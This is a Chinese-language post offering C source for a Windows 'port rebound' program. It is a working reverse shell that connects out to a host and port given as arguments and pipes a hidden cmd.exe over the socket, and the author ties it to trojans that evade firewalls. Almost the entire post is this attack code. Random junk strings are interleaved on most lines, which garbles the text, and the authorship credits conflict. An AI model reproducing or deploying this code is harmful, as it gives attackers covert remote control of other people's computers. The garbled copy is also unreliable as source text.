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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,<BbpIQ2o  
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/* ============================== ?;/^Ya1;Z  
Rebound port in Windows NT K*UgX(xu4P  
By wind,2006/7 #jA[9gWI  
===============================*/ . 8N.l^0,  
#include FIxFnh3~  
#include Mj[f~  
JR CrZW}  
#pragma comment(lib,"wsock32.lib") <S?ddp2  
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void OutputShell(); MUfG?r\t  
SOCKET sClient; Q'_z<V  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tyaA\F57  
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void main(int argc,char **argv) b4^`DHRu6  
{ ;q N+^;,2  
WSADATA stWsaData; *HEuorl  
int nRet; >D201&*G%  
SOCKADDR_IN stSaiClient,stSaiServer; L|bwZ,M=}?  
q[`j`8YY!R  
if(argc != 3) g~(E>6Y  
{ 2^8%>,  
printf("Useage:\n\rRebound DestIP DestPort\n"); cuy1DDl  
return; zg-2C>(6a  
} jck}" N  
ys 5&PZg*  
WSAStartup(MAKEWORD(2,2),&stWsaData); Vz6Qxd{m3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Reatd h  
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stSaiClient.sin_family = AF_INET; Sb~MQ_  
stSaiClient.sin_port = htons(0); #>Zzf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;2B{9{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g=I8@m  
{ E@7J:|.)R  
printf("Bind Socket Failed!\n"); ,#pXpAz/  
return; 0RoU}r@z4  
} J9~ g|5  
{e|[%reSkg  
stSaiServer.sin_family = AF_INET; Z+@2"%W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E Cyyl  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \hCH>*x<  
{%_L=2n6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "etPT@gF  
{ j~*L~7  
printf("Connect Error!"); W.kM7z>G  
return; 6{txm+U  
} RjN{%YkXe  
OutputShell(); rtc9wu  
} l\C.",CEcc  
=UV`.d2[  
void OutputShell() u*hSj)vr1  
{ Z?\>JM >;  
char szBuff[1024]; B ~OZ2-~  
SECURITY_ATTRIBUTES stSecurityAttributes; :0h_K  
OSVERSIONINFO stOsversionInfo; G37U6PuZi  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '3uVkp 6tF  
STARTUPINFO stStartupInfo; 8 @tV9+u  
char *szShell; kh`"WN Nt  
PROCESS_INFORMATION stProcessInformation; eH{[C*  
unsigned long lBytesRead; 8YbE`32  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^pUHKXihD  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U*) 8G  
stSecurityAttributes.lpSecurityDescriptor = 0; -,U3fts  
stSecurityAttributes.bInheritHandle = TRUE; NU0g07"  
F]<Xv"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H- $)3"K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x9JD\vZ  
|j,"Pl}il^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =uS9JU^E  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~;N^g4s  
stStartupInfo.wShowWindow = SW_HIDE; >Z5gSs0  
stStartupInfo.hStdInput = hReadPipe; :\|SQKD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >6?__v]9G  
,k;^G>< =  
GetVersionEx(&stOsversionInfo); [EKQR>s)  
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switch(stOsversionInfo.dwPlatformId) }"|K(hq  
{ , 'u W*kx  
case 1: qw^uPs7Uw  
szShell = "command.com"; adR)Uq9  
break; 3xaR@xjS  
default: cH&J{WeZa  
szShell = "cmd.exe"; ,LnII  
break; w9bbMx  
} ;<ZLc TL  
r8xv#r1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Y/*mUS[oa  
$ 69oV:  
send(sClient,szMsg,77,0); qHrc9fB  
while(1) R21b!Pd\  
{ p"KFJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T: =lz:}I  
if(lBytesRead) fSokm4]vg  
{ E S//  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !*7 vFl  
send(sClient,szBuff,lBytesRead,0); )84~ugs  
} l`f/4vy  
else N$U$5;r~`  
{ md"!33 @  
lBytesRead=recv(sClient,szBuff,1024,0); q-}Fvel u  
if(lBytesRead<=0) break; 3v1iy / /  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); UdpF@Q  
} <4HDZ{"M  
} gMzcTmbc8  
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return; 3`t%g[D1  
}
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